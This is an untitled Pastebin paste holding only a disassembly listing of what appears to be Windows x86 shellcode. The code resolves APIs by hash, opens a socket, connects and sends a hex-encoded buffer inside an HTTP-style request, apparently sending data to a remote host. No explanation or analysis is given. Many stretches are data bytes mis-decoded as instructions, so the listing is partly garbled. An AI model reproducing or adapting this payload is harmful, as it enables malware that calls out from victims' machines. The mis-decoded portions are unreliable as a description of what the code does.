Advertisement
Guest User

Untitled

a guest
Aug 4th, 2013
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.81 KB | None | 0 0
  1. seg000:00000000 pusha
  2. seg000:00000001 cld
  3. seg000:00000002 call near ptr 60000091h
  4. seg000:00000007 mov ebp, esp
  5. seg000:00000009 xor edx, edx
  6. seg000:0000000B mov edx, fs:[edx+30h]
  7. seg000:0000000F mov edx, [edx+0Ch]
  8. seg000:00000012 mov edx, [edx+14h]
  9. seg000:00000015
  10. seg000:00000015 loc_15: ; CODE XREF: seg000:0000008Dj
  11. seg000:00000015 mov esi, [edx+28h]
  12. seg000:00000018 movzx ecx, word ptr [edx+26h]
  13. seg000:0000001C xor edi, edi
  14. seg000:0000001E
  15. seg000:0000001E loc_1E: ; CODE XREF: seg000:0000002Cj
  16. seg000:0000001E xor eax, eax
  17. seg000:00000020 lodsb
  18. seg000:00000021 cmp al, 61h ; 'a'
  19. seg000:00000023 jl short loc_27
  20. seg000:00000025 sub al, 20h ; ' '
  21. seg000:00000027
  22. seg000:00000027 loc_27: ; CODE XREF: seg000:00000023j
  23. seg000:00000027 ror edi, 0Dh
  24. seg000:0000002A add edi, eax
  25. seg000:0000002C loop loc_1E
  26. seg000:0000002E push edx
  27. seg000:0000002F push edi
  28. seg000:00000030 mov edx, [edx+10h]
  29. seg000:00000033 mov eax, [edx+3Ch]
  30. seg000:00000036 add eax, edx
  31. seg000:00000038 mov eax, [eax+78h]
  32. seg000:0000003B test eax, eax
  33. seg000:0000003D jz short loc_89
  34. seg000:0000003F add eax, edx
  35. seg000:00000041 push eax
  36. seg000:00000042 mov ecx, [eax+18h]
  37. seg000:00000045 mov ebx, [eax+20h]
  38. seg000:00000048 add ebx, edx
  39. seg000:0000004A
  40. seg000:0000004A loc_4A: ; CODE XREF: seg000:00000066j
  41. seg000:0000004A jecxz short loc_88
  42. seg000:0000004C dec ecx
  43. seg000:0000004D mov esi, [ebx+ecx*4]
  44. seg000:00000050 add esi, edx
  45. seg000:00000052 xor edi, edi
  46. seg000:00000054
  47. seg000:00000054 loc_54: ; CODE XREF: seg000:0000005Ej
  48. seg000:00000054 xor eax, eax
  49. seg000:00000056 lodsb
  50. seg000:00000057 ror edi, 0Dh
  51. seg000:0000005A add edi, eax
  52. seg000:0000005C cmp al, ah
  53. seg000:0000005E jnz short loc_54
  54. seg000:00000060 add edi, [ebp-8]
  55. seg000:00000063 cmp edi, [ebp+24h]
  56. seg000:00000066 jnz short loc_4A
  57. seg000:00000068 pop eax
  58. seg000:00000069 mov ebx, [eax+24h]
  59. seg000:0000006C add ebx, edx
  60. seg000:0000006E mov cx, [ebx+ecx*2]
  61. seg000:00000072 mov ebx, [eax+1Ch]
  62. seg000:00000075 add ebx, edx
  63. seg000:00000077 mov eax, [ebx+ecx*4]
  64. seg000:0000007A add eax, edx
  65. seg000:0000007C mov [esp+24h], eax
  66. seg000:00000080 pop ebx
  67. seg000:00000081 pop ebx
  68. seg000:00000082 popa
  69. seg000:00000083 pop ecx
  70. seg000:00000084 pop edx
  71. seg000:00000085 push ecx
  72. seg000:00000086 jmp eax
  73. seg000:00000088 ; ---------------------------------------------------------------------------
  74. seg000:00000088
  75. seg000:00000088 loc_88: ; CODE XREF: seg000:loc_4Aj
  76. seg000:00000088 pop eax
  77. seg000:00000089
  78. seg000:00000089 loc_89: ; CODE XREF: seg000:0000003Dj
  79. seg000:00000089 pop edi
  80. seg000:0000008A pop edx
  81. seg000:0000008B mov edx, [edx]
  82. seg000:0000008D jmp short loc_15
  83. seg000:0000008F ; ---------------------------------------------------------------------------
  84. seg000:0000008F add eax, 0E9BD815Dh
  85. seg000:00000094 add al, [eax]
  86. seg000:00000096 inc edi
  87. seg000:00000097 inc ebp
  88. seg000:00000098 push esp
  89. seg000:00000099 and [ebp+70h], dh
  90. seg000:0000009C lea eax, [ebp+500002D1h]
  91. seg000:000000A2 push 726774Ch
  92. seg000:000000A7 call ebp
  93. seg000:000000A9 test eax, eax
  94. seg000:000000AB jz short near ptr loc_105+6
  95. seg000:000000AD lea eax, [ebp+500002D8h]
  96. seg000:000000B3 push 726774Ch
  97. seg000:000000B8 call ebp
  98. seg000:000000BA test eax, eax
  99. seg000:000000BC jz short near ptr loc_105+5
  100. seg000:000000BE mov ebx, 29000190h
  101. seg000:000000C3 fcom qword ptr [ebx+edx*2+68h]
  102. seg000:000000C7 sub [eax+1D5FF6Bh], eax
  103. seg000:000000CD fadd qword ptr [ebp+503675C0h]
  104. seg000:000000D3 push eax
  105. seg000:000000D4 push eax
  106. seg000:000000D5 push eax
  107. seg000:000000D6 inc eax
  108. seg000:000000D7 push eax
  109. seg000:000000D8 inc eax
  110. seg000:000000D9 push eax
  111. seg000:000000DA push 0E0DF0FEAh
  112. seg000:000000DF call ebp
  113. seg000:000000E1 xor ebx, ebx
  114. seg000:000000E3 not ebx
  115. seg000:000000E5 cmp ebx, eax
  116. seg000:000000E7 jz short near ptr loc_105+3
  117. seg000:000000E9
  118. seg000:000000E9 loc_E9: ; CODE XREF: seg000:loc_21Cj
  119. seg000:000000E9 mov ebx, eax
  120. seg000:000000EB push 10h
  121. seg000:000000ED lea esi, [ebp+560002E1h]
  122. seg000:000000F3 push ebx
  123. seg000:000000F4 push 6174A599h
  124. seg000:000000F9 call ebp
  125. seg000:000000FB test eax, eax
  126. seg000:000000FD jz short loc_11E
  127. seg000:000000FF dec byte ptr [ebp-1C8AFF77h]
  128. seg000:00000105
  129. seg000:00000105 loc_105: ; CODE XREF: seg000:000000E7j
  130. seg000:00000105 ; seg000:000000BCj ...
  131. seg000:00000105 cmp byte ptr [ebp+100024Fh], 74h ; 't'
  132. seg000:0000010C pop es
  133. seg000:0000010D call near ptr 0EB00024Dh
  134. seg000:00000112 add eax, 14DE8h
  135. seg000:00000117 jmp edi
  136. seg000:00000119 ; ---------------------------------------------------------------------------
  137. seg000:00000119 mov eax, 29000100h
  138. seg000:0000011E
  139. seg000:0000011E loc_11E: ; CODE XREF: seg000:000000FDj
  140. seg000:0000011E les ecx, [ecx+525052E2h]
  141. seg000:00000124 push 1DE49B6h
  142. seg000:00000129 call ebp
  143. seg000:0000012B pop edi
  144. seg000:0000012C add esp, 0C0850001h
  145. seg000:00000132 jnz near ptr 5700022Ah
  146. seg000:00000138 call near ptr 5E000236h
  147. seg000:0000013D mov edx, ecx
  148. seg000:0000013F lea edi, [ebp-17FFFD17h]
  149. seg000:00000145 jmp short $+2
  150. seg000:00000147 add [edi-7Dh], cl
  151. seg000:0000014A cli
  152. seg000:0000014B and [ebp+eax-46h], bh
  153. seg000:0000014F and [eax], al
  154. seg000:00000151 mov ecx, edx
  155. seg000:00000153 push esi
  156. seg000:00000154 rep movsb
  157. seg000:00000156 mov ecx, 0B58D000Dh
  158. seg000:0000015B les eax, [edx]
  159. seg000:0000015D add bl, dh
  160. seg000:0000015F movsb
  161. seg000:00000160 mov [ebp+5E00024Bh], edi
  162. seg000:00000166 push esi
  163. seg000:00000167 push 803428A9h
  164. seg000:0000016C call ebp
  165. seg000:0000016E test eax, eax
  166. seg000:00000170 jz near ptr 66000220h
  167. seg000:00000176 mov ecx, [eax+0Ah]
  168. seg000:00000179 cmp cx, 4
  169. seg000:0000017D jb near ptr 8D00021Fh
  170. seg000:00000183 inc eax
  171. seg000:00000184 or al, 8Bh
  172. seg000:00000186 mov ecx, [eax]
  173. seg000:00000188 mov ecx, [ecx]
  174. seg000:0000018A mov eax, 89500001h
  175. seg000:0000018F out 29h, eax
  176. seg000:00000191 les ecx, [ecx+515657E6h]
  177. seg000:00000197 push ecx
  178. seg000:00000198 push 0B8D27248h
  179. seg000:0000019D call ebp
  180. seg000:0000019F test eax, eax
  181. seg000:000001A1 add esp, 0F000104h
  182. seg000:000001A7 mov bh, 0Fh
  183. seg000:000001A9 cmp ecx, 6
  184. seg000:000001AC jb short loc_21A
  185. seg000:000001AE mov ecx, 10B80006h
  186. seg000:000001AE ; ---------------------------------------------------------------------------
  187. seg000:000001B3 db 0
  188. seg000:000001B4 ; ---------------------------------------------------------------------------
  189. seg000:000001B4 add [ecx], ch
  190. seg000:000001B6 les ecx, [ecx-2E357619h]
  191. seg000:000001BC loop near ptr loc_20D+1
  192. seg000:000001BE push edx
  193. seg000:000001BF
  194. seg000:000001BF loc_1BF: ; CODE XREF: seg000:000001E9j
  195. seg000:000001BF xor edx, edx
  196. seg000:000001C1 mov dl, [esi]
  197. seg000:000001C3 mov al, dl
  198. seg000:000001C5 and al, 0F0h
  199. seg000:000001C7 shr al, 4
  200. seg000:000001CA cmp al, 9
  201. seg000:000001CC ja short loc_1D2
  202. seg000:000001CE add al, 30h ; '0'
  203. seg000:000001D0 jmp short loc_1D4
  204. seg000:000001D2 ; ---------------------------------------------------------------------------
  205. seg000:000001D2
  206. seg000:000001D2 loc_1D2: ; CODE XREF: seg000:000001CCj
  207. seg000:000001D2 add al, 37h ; '7'
  208. seg000:000001D4
  209. seg000:000001D4 loc_1D4: ; CODE XREF: seg000:000001D0j
  210. seg000:000001D4 mov [edi], al
  211. seg000:000001D6 inc edi
  212. seg000:000001D7 mov al, dl
  213. seg000:000001D9 and al, 0Fh
  214. seg000:000001DB cmp al, 9
  215. seg000:000001DD ja short loc_1E3
  216. seg000:000001DF add al, 30h ; '0'
  217. seg000:000001E1 jmp short loc_1E5
  218. seg000:000001E3 ; ---------------------------------------------------------------------------
  219. seg000:000001E3
  220. seg000:000001E3 loc_1E3: ; CODE XREF: seg000:000001DDj
  221. seg000:000001E3 add al, 37h ; '7'
  222. seg000:000001E5
  223. seg000:000001E5 loc_1E5: ; CODE XREF: seg000:000001E1j
  224. seg000:000001E5 mov [edi], al
  225. seg000:000001E7 inc edi
  226. seg000:000001E8 inc esi
  227. seg000:000001E9 loop loc_1BF
  228. seg000:000001EB pop ecx
  229. seg000:000001EC sub edi, ecx
  230. seg000:000001EE mov esi, edi
  231. seg000:000001F0 pop eax
  232. seg000:000001F1 add esp, eax
  233. seg000:000001F3 mov edi, [ebp-0CFFFDB5h]
  234. seg000:000001F9 movsb
  235. seg000:000001FA mov byte ptr [ebp+100024Fh], 0E8h ; 'F'
  236. seg000:00000201 add cs:[eax], al
  237. seg000:00000204 xor eax, eax
  238. seg000:00000206 push eax
  239. seg000:00000207 push ecx
  240. seg000:00000208 sub edi, ecx
  241. seg000:0000020A dec edi
  242. seg000:0000020B push edi
  243. seg000:0000020C push ebx
  244. seg000:0000020D
  245. seg000:0000020D loc_20D: ; CODE XREF: seg000:000001BCj
  246. seg000:0000020D push 5F38EBC2h
  247. seg000:00000212 call ebp
  248. seg000:00000214 push ebx
  249. seg000:00000215 push 614D6E75h
  250. seg000:0000021A
  251. seg000:0000021A loc_21A: ; CODE XREF: seg000:000001ACj
  252. seg000:0000021A call ebp
  253. seg000:0000021C
  254. seg000:0000021C loc_21C: ; CODE XREF: seg000:00000235p
  255. seg000:0000021C jmp loc_E9
  256. seg000:00000221 ; ---------------------------------------------------------------------------
  257. seg000:00000221 xor ecx, ecx
  258. seg000:00000223 not ecx
  259. seg000:00000225 xor eax, eax
  260. seg000:00000227 repne scasb
  261. seg000:00000229 not ecx
  262. seg000:0000022B dec ecx
  263. seg000:0000022C retn
  264. seg000:0000022C ; ---------------------------------------------------------------------------
  265. seg000:0000022D db 0
  266. seg000:0000022E db 0
  267. seg000:0000022F ; ---------------------------------------------------------------------------
  268. seg000:0000022F add [ebp+2E9BDh], cl
  269. seg000:00000235 call near ptr loc_21C+2
  270. seg000:0000023A dec edi
  271. seg000:0000023B mov ecx, 0B58D004Fh
  272. seg000:00000240 jnz short loc_244
  273. seg000:00000242 add bl, dh
  274. seg000:00000244
  275. seg000:00000244 loc_244: ; CODE XREF: seg000:00000240j
  276. seg000:00000244 movsb
  277. seg000:00000245 lea edi, [ebp-17FFFD17h]
  278. seg000:0000024B retf
  279. seg000:0000024B ; ---------------------------------------------------------------------------
  280. seg000:0000024C db 0FFh
  281. seg000:0000024D db 0FFh
  282. seg000:0000024E ; ---------------------------------------------------------------------------
  283. seg000:0000024E inc ebx
  284. seg000:00000250 or eax, 6E6F430Ah
  285. seg000:00000255 outsb
  286. seg000:00000256 arpl gs:[ecx+ebp*2+6Fh], si
  287. seg000:0000025B outsb
  288. seg000:0000025C cmp ah, [eax]
  289. seg000:0000025E imul esp, [ebp+65h], 70h
  290. seg000:00000262 sub eax, 76696C61h
  291. seg000:00000267 db 65h
  292. seg000:00000267 or eax, 6363410Ah
  293. seg000:0000026D db 65h
  294. seg000:0000026D jo short loc_2E4
  295. seg000:00000270 cmp ah, [eax]
  296. seg000:00000272 sub ch, [edi]
  297. seg000:00000274 sub cl, ds:6363410Ah
  298. seg000:0000027A db 65h
  299. seg000:0000027A jo short loc_2F1
  300. seg000:0000027D sub eax, 6F636E45h
  301. seg000:00000282 imul ebp, fs:[esi+67h], 7A67203Ah
  302. seg000:0000028A imul esi, [eax+0Dh], 0A0D0Ah
  303. seg000:00000291 add edi, 0Eh
  304. seg000:00000294 xor ecx, ecx
  305. seg000:00000296 not ecx
  306. seg000:00000298 xor eax, eax
  307. seg000:0000029A repe scasb
  308. seg000:0000029C dec edi
  309. seg000:0000029D jmp edi
  310. seg000:0000029F ; ---------------------------------------------------------------------------
  311. seg000:0000029F or eax, 6F6F430Ah
  312. seg000:000002A4 imul ebp, [ecx+65h], 3Ah
  313. seg000:000002A8 and [ecx+44h], cl
  314. seg000:000002AB cmp eax, 5F327377h
  315. seg000:000002B0 xor esi, [edx]
  316. seg000:000002B2 add [ecx+50h], cl
  317. seg000:000002B5 dec eax
  318. seg000:000002B6 dec esp
  319. seg000:000002B7 push eax
  320. seg000:000002B8 inc ecx
  321. seg000:000002B9 push eax
  322. seg000:000002BA dec ecx
  323. seg000:000002BB add al, [eax]
  324. seg000:000002BD push eax
  325. seg000:000002BE inc ecx
  326. seg000:000002BF fmulp st(2), st
  327. seg000:000002C1 db 36h
  328. seg000:000002C1 inc edi
  329. seg000:000002C3 inc ebp
  330. seg000:000002C4 push esp
  331. seg000:000002C5 and [edi], ch
  332. seg000:000002C7 xor dh, [eax]
  333. seg000:000002C9 xor esp, [esi+31h]
  334. seg000:000002CC popa
  335. seg000:000002CD xor [ecx], dh
  336. seg000:000002CF sub eax, 37636236h
  337. seg000:000002D4 sub eax, 62386334h
  338. seg000:000002D9 sub eax, 65623062h
  339. seg000:000002DE sub eax, 36323732h
  340. seg000:000002E3 popa
  341. seg000:000002E4
  342. seg000:000002E4 loc_2E4: ; CODE XREF: seg000:0000026Dj
  343. seg000:000002E4 aaa
  344. seg000:000002E5 popa
  345. seg000:000002E6 xor esp, [ebx+62h]
  346. seg000:000002E9 xor fs:[eax], ah
  347. seg000:000002EC dec eax
  348. seg000:000002ED push esp
  349. seg000:000002EE push esp
  350. seg000:000002EF push eax
  351. seg000:000002F0 das
  352. seg000:000002F1
  353. seg000:000002F1 loc_2F1: ; CODE XREF: seg000:0000027Aj
  354. seg000:000002F1 xor [esi], ebp
  355. seg000:000002F3 xor ds:736F480Ah, ecx
  356. seg000:000002F9 jz short near ptr 335h
  357. seg000:000002FB and [eax], al
  358. seg000:000002FB ; ---------------------------------------------------------------------------
  359. seg000:000002FD db 0
  360. seg000:000002FE db 0
  361. seg000:000002FF db 0
  362. seg000:00000300 db 0
  363. seg000:00000301 db 0
  364. seg000:00000302 db 0
  365. seg000:00000303 ; ---------------------------------------------------------------------------
  366. seg000:00000303 nop
  367. seg000:00000303 seg000 ends
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement